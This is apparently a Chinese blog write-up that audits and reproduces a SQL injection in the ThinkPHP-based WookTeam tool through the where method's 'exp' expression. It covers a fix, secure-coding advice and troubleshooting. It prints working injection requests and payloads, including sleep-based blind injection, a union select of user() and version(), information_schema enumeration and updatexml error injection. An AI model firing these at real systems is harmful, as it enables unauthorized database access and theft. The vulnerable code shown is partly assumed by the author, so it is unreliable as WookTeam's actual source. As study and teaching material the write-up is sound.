ThinkPHP where方法SQL注入漏洞分析与复现:从表达式查询到exp利用
1. 项目概述:一次典型的白盒审计与漏洞复现之旅
最近在梳理一些开源协作项目的安全性,WookTeam这个基于ThinkPHP开发的团队协作工具进入了我的视线。它功能挺全,任务、文档、日程都有,很多小团队在用。出于习惯,我下载了源码想看看其代码质量,结果在审计搜索功能模块时,发现了一个比较典型的SQL注入漏洞点。这个漏洞的成因和利用方式,在ThinkPHP框架的历史版本中其实挺有代表性的,它涉及到框架的where方法在特定参数构造下的解析缺陷。今天我就把这个漏洞的发现、分析和复现过程完整地记录下来,一方面给正在学习代码审计和漏洞复现的朋友们一个具体的案例参考,另一方面也提醒开发者在使用ORM(对象关系映射)时,即使有框架“保护”,也绝不能对用户输入掉以轻心。整个过程不需要复杂的工具,一个代码编辑器、一个PHP集成环境(比如PHPStudy)和一个浏览器就够了,非常适合新手入门理解SQL注入的原理与危害。
2. 漏洞原理深度剖析:ThinkPHP where方法的安全边界
2.1 漏洞触发的核心:数组参数与表达式查询
要理解这个漏洞,首先得对ThinkPHP(这里指5.x/6.x版本)的数据库查询构造器有个基本认识。ThinkPHP提供了一套流畅的查询语法,其where方法非常灵活,支持字符串、数组、闭包等多种形式。其中,数组形式是为了方便构造复杂查询条件而设计的。
一个安全的、预期的数组where用法是这样的:
$map = [ 'name' => 'thinkphp', 'status' => 1, ]; Db::table('user')->where($map)->select();生成的SQL是:SELECT * FROM user WHERE name='thinkphp' AND status=1。框架会自动对键值进行参数绑定或转义,防止注入。
然而,ThinkPHP的where方法还支持一种“表达式查询”的语法,允许开发者进行更灵活的条件构造,比如模糊查询、区间查询等。其格式通常是在数组值中使用特定的标识符,例如:
$map = [ 'name' => ['like', '%think%'], 'create_time' => ['between', '2023-01-01', '2023-12-31'], ];这里的['like', '%think%']和['between', ...]就是表达式。框架会识别这种数组结构,并按照对应的逻辑生成SQL片段。
漏洞就出现在这里:当攻击者能够控制where方法中数组参数的“键”(即字段名)时,如果这个键本身被构造成一个数组,并且其内容符合表达式查询的格式,那么ThinkPHP的解析逻辑就可能被绕过,导致用户输入直接拼接进SQL语句。
2.2 WookTeam searchinfo功能代码审计
在WookTeam中,存在一个用于全局搜索的接口或方法,我们暂且称其为searchinfo。在审计其代码时(通常位于某个控制器或模型文件中),我发现了类似如下的代码片段:
public function searchInfo() { $keyword = input('keyword'); // 获取用户搜索关键词 $type = input('type', 'task'); // 搜索类型,默认为任务 $map = []; if ($keyword) { // 问题代码:根据不同类型,构造不同的搜索条件 switch ($type) { case 'task': $map['title'] = ['like', "%{$keyword}%"]; break; case 'doc': $map['content'] = ['like', "%{$keyword}%"]; break; // ... 其他case } } // 假设这里调用了某个通用查询方法 $list = $this->model->where($map)->select(); return json($list); }乍一看,这段代码似乎没问题,$keyword被直接包裹在like表达式的值里,$map数组的键('title','content')是硬编码的。但是,关键在于$type变量。如果$type的值能被用户控制,并且代码中存在一种分支,允许用户以某种形式指定查询的字段名,危险就来了。
经过进一步追踪,我发现了更危险的代码模式。在某些版本的WookTeam中,可能存在一种“动态字段构造”的逻辑,例如为了支持高级搜索,允许前端传递一个条件数组:
// 危险代码示例(经过简化抽象) $filter = input('filter/a'); // 接收一个数组,/a是ThinkPHP的数组变量修饰符 $map = []; if ($filter) { foreach ($filter as $field => $condition) { // 错误地将用户可控的$condition直接作为where数组的值 // 假设$condition可以是字符串,也可以是数组(为了支持like, between等) $map[$field] = $condition; } } $list = Db::name('some_table')->where($map)->select();在这个例子中,$field和$condition都来自用户输入的filter数组。如果攻击者构造这样的请求:
filter[`title`]=`some_value` # 这可能导致注入,但框架通常会对`some_value`进行转义。更致命的是,攻击者可以构造:
filter[`title`][0]=exp filter[`title`][1]=sleep(5) --当$map['title']被赋值为['exp', 'sleep(5) -- ']时,where方法会将其识别为一个“表达式查询”。其中exp是一个特殊的表达式,它告诉ThinkPHP:后面的内容是一个SQL表达式,将不进行任何转义和参数绑定,直接嵌入到查询语句中。
核心原理总结:漏洞的本质是用户输入污染了
where条件数组的“键名”或“键值”的结构,使得攻击者能够注入一个exp表达式。exp表达式是ThinkPHP提供的一个“后门”,用于执行原始SQL片段,它本意是给开发者处理复杂SQL函数(如NOW(),GEOMETRY函数等)使用的,但一旦被攻击者控制,就成了SQL注入的直通车。
3. 漏洞复现环境搭建与利用
3.1 环境准备与代码定位
为了复现,你需要准备以下环境:
- PHP集成环境:如PHPStudy,选择PHP 7.3+版本,并开启相应扩展(mbstring, openssl等)。
- WookTeam源码:从官方仓库下载存在漏洞的版本(需要根据漏洞披露信息确定具体版本号,例如可能是v3.x的某个早期版本)。这里我们假设是
wookteam-v3.0.0。 - 数据库:MySQL 5.7+。在PHPStudy中创建数据库,并导入WookTeam的SQL文件。
- 代码编辑器:VS Code、PhpStorm等,用于搜索和查看代码。
安装好WookTeam后,第一步是定位漏洞点。根据经验,搜索功能通常位于application目录下。我们可以全局搜索关键词如searchinfo、where、exp、filter等。最终,我在application/common/model/ProjectTask.php(或类似的任务模型文件)中找到了疑似漏洞代码。
3.2 构造攻击Payload与数据包
假设我们找到的漏洞代码逻辑如下(真实代码可能更复杂,但原理一致):
// application/index/controller/Search.php public function advancedSearch() { $params = $this->request->param(); $map = []; if (isset($params['conditions']) && is_array($params['conditions'])) { foreach ($params['conditions'] as $item) { $field = $item['field'] ?? ''; $op = $item['op'] ?? 'eq'; $value = $item['value'] ?? ''; if ($field && $value !== '') { // 危险操作:根据操作符动态构建表达式数组 if ($op == 'like') { $map[$field] = ['like', "%{$value}%"]; } elseif ($op == 'between') { $map[$field] = ['between', $value]; } else { // 默认情况,可能被利用! $map[$field] = [$op, $value]; } } } } $list = model('ProjectTask')->where($map)->select(); return json($list); }这段代码意图是好的,它想支持like、between等操作。但注意else分支:$map[$field] = [$op, $value];。如果用户传入的$op是exp,那么$value就会被直接当作SQL表达式执行。
复现步骤:
登录系统:获取一个有效的会话Cookie(如
PHPSESSID)。确定攻击入口:找到触发
advancedSearch方法的接口URL。可能是/index/search/advancedSearch。构造恶意HTTP请求: 使用Burp Suite、Postman或HackBar浏览器插件来发送POST请求。
请求示例:
POST /index/search/advancedSearch HTTP/1.1 Host: your-wookteam-site.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=your_session_id conditions[0][field]=1&conditions[0][op]=exp&conditions[0][value]=sleep(5)--Payload解析:
conditions[0][field]=1:这里的字段名1其实不重要,可以是一个存在的字段如id,也可以是一个数字或任意字符串。因为最终它会被放入exp表达式。conditions[0][op]=exp:这是关键,指定操作类型为exp(表达式)。conditions[0][value]=sleep(5)--:这是注入的SQL代码。sleep(5)会让数据库查询暂停5秒,用于盲注的时间判断。--是SQL注释符,用于注释掉后续可能存在的SQL语句,避免语法错误。
发送请求并观察:
- 如果页面响应时间明显增加了5秒以上,说明
sleep(5)被执行,漏洞存在。 - 你可以尝试将
sleep(5)替换为其他Payload进行进一步利用,例如:- 获取数据库名:
(select database()) - 获取表名:
(select group_concat(table_name) from information_schema.tables where table_schema=database()) - 联合查询注入:需要结合具体SQL语句上下文构造,可能更复杂。
- 获取数据库名:
- 如果页面响应时间明显增加了5秒以上,说明
3.3 手工注入与信息获取实战
基于时间盲注的证明虽然有效,但效率低。如果漏洞点处在查询语句的前半部分,且能回显数据,我们可能尝试联合查询注入。
假设原查询大概是:SELECT id, title, content FROM project_task WHERE [我们的注入点] AND status=1。
我们可以构造更精确的Payload来获取数据:
conditions[0][field]=id&conditions[0][op]=exp&conditions[0][value]=1) union select 1,user(),version() --+Payload解析:
field=id:指定一个实际存在的字段,让前半部分WHERE id=语法正确。value=1) union select 1,user(),version() --+:1):闭合原查询可能存在的括号,并提供一个真值。union select 1,user(),version():联合查询,获取当前数据库用户和版本。--+:注释掉后面的AND status=1等条件。
发送请求后,观察返回的JSON数据。如果联合查询成功,返回的数据列表中可能会包含数据库用户和版本信息,通常出现在title或content字段对应的位置上。
实操心得:在实际测试中,
exp注入的利用非常直接,但需要你清楚地知道后端查询的字段数量。你可以通过order by猜解字段数,但使用exp时,更简单的方法是:union select 1,2,3,4...直到页面返回正常,不报错,就能确定字段数。这个过程和常规的Union注入完全一样,只是注入点是通过exp表达式开启的。
4. 漏洞修复方案与安全编码建议
4.1 针对该漏洞的紧急修复
对于WookTeam的这个具体漏洞,修复方法是严格过滤用户输入,禁止用户控制where数组中的操作符(op),尤其是禁止传入exp。
修复代码示例:
// 修复后的 advancedSearch 方法片段 $safeOps = ['eq', 'neq', 'gt', 'egt', 'lt', 'elt', 'like', 'between']; // 定义允许的操作符白名单 if ($field && $value !== '') { // 检查操作符是否在白名单内 if (!in_array($op, $safeOps)) { $op = 'eq'; // 默认改为等于 } // 对value进行转义处理(尽管where方法会处理,但多一层防御更好) $value = is_string($value) ? addslashes($value) : $value; if ($op == 'like') { $map[$field] = ['like', "%{$value}%"]; } elseif ($op == 'between') { // between操作需要额外处理,确保$value是数组 if (!is_array($value)) { continue; } $map[$field] = ['between', array_map('addslashes', $value)]; } else { // 使用参数绑定格式,这是最安全的方式 // ThinkPHP的where方法支持这种格式,它会进行参数绑定 $map[] = [$field, $op, $value]; } }关键改进:
- 操作符白名单:只允许预定义的安全操作符。
- 弃用直接数组赋值:避免使用
$map[$field] = [$op, $value];这种危险结构。改用$map[] = [$field, $op, $value];,这是ThinkPHP推荐的、会触发参数绑定的安全写法。 - 输入转义:虽然ThinkPHP的查询构造器在参数绑定时会处理转义,但在数据进入复杂逻辑前进行一层过滤是良好的防御习惯。
4.2 面向开发者的通用安全准则
这个漏洞给所有使用ORM框架的开发者敲响了警钟:
- 永远不要信任用户输入:这是安全的第一原则。任何来自客户端(前端、API请求)的数据都必须经过验证和过滤。
- 谨慎使用表达式查询:
exp、fetchSql等方法非常强大,但也极其危险。除非绝对必要且你能完全控制表达式的来源,否则应避免在业务代码中使用。如果必须使用,务必对表达式字符串进行严格的白名单过滤,只允许特定的、安全的SQL函数和字段名。 - 善用参数绑定:ThinkPHP的
where方法在接收三个元素的数组(如['字段名', '操作符', '值'])或使用bind方法时,会启用参数绑定(PDO预处理)。这是防止SQL注入最有效的手段。确保用户输入的数据始终作为“值”传递给查询构造器,而不是作为字段名、操作符或SQL片段的一部分。 - 进行代码安全审计:在项目上线前或迭代中,定期对涉及数据库操作、命令执行、文件操作的代码进行审查。重点关注那些使用了
eval、exec、system、exp、query(执行原生SQL)等危险函数或方法的地方。 - 使用安全工具辅助:可以使用PHP代码静态分析工具(如
phpcs配合安全规则集、phan、psalm)来扫描潜在的安全漏洞。
5. 漏洞复现中的常见问题与排查技巧
在复现这类漏洞时,你可能会遇到一些问题,下面是一些排查思路:
问题1:发送Payload后,页面返回了ThinkPHP的通用错误页面,提示“SQLSTATE[HY000]: General error”。
- 排查:这通常是Payload导致的SQL语法错误。首先检查你的Payload语法是否正确,特别是括号是否闭合、注释符
--后面是否有空格(在URL中通常需要写成--+或--%20)。其次,用sleep()函数进行时间盲注测试是最稳妥的第一步,因为它对原SQL语句结构破坏最小。
问题2:时间盲注测试时,响应时间没有明显延迟。
- 排查:
- 确认漏洞点:你找到的代码路径可能不是最终触发点,或者存在其他过滤逻辑。尝试在代码中
echo或log一下最终生成的$map数组,看你的Payload是否成功传递到了where方法。 - 数据库权限:
sleep()函数需要数据库用户拥有相应的权限。在MySQL中,通常都有。 - Payload被截断或转义:检查中间件(如WAF)、框架的全局过滤函数(ThinkPHP的
default_filter配置)是否对输入进行了处理。尝试对Payload进行编码(如URL编码)绕过。 - 使用更明显的Payload:尝试
exp的值为1 and updatexml(1,concat(0x7e,user()),1),如果页面报错并显示出数据库用户信息,则证明注入存在且是报错注入。
- 确认漏洞点:你找到的代码路径可能不是最终触发点,或者存在其他过滤逻辑。尝试在代码中
问题3:联合查询注入时,页面没有回显期望的数据。
- 排查:
- 字段数不匹配:这是最常见的原因。你需要精确判断原SQL查询的字段数量。使用
order by N进行盲猜,或者使用union select 1,2,3...逐步增加数字,直到页面正常显示。 - 回显位置判断错误:即使字段数对了,数据也可能在返回结果的某个深层字段中,不在你当前查看的页面上。你需要分析页面源码或JSON返回结构,找到所有可能输出数据的地方。
- 数据类型不匹配:联合查询时,前后两个
select语句对应位置的数据类型需要兼容。如果原字段是字符串,你union select对应位置是数字,可能导致查询失败或数据显示异常。尝试用null或'test'这样的通用值。
- 字段数不匹配:这是最常见的原因。你需要精确判断原SQL查询的字段数量。使用
问题4:在真实环境中测试,担心对业务数据造成破坏。
- 重要原则:永远不要在未经授权的生产环境或他人的系统上进行漏洞测试!这是法律和道德底线。
- 安全复现:务必在本地搭建完全隔离的测试环境进行复现。使用虚拟机或容器技术,确保测试网络与外界隔离。测试用的Payload也应仅限于信息获取(如
select),严禁使用update、delete、drop等破坏性语句。
这个WookTeam SQL注入漏洞的复现过程,清晰地展示了一个安全观念:框架不是银弹。ORM确实能消除大部分拼接SQL带来的注入风险,但错误的使用方式(尤其是将用户输入直接代入表达式查询)会亲手打开这扇安全门。对于开发者,理解框架的安全机制边界至关重要;对于安全研究者或学习者,通过这样的案例去理解漏洞从代码层到利用层的完整链条,是提升实战能力的最佳途径。下次当你看到where方法接收一个动态数组时,不妨多留一个心眼,想想这个数组的每一部分是否都可能被用户污染。
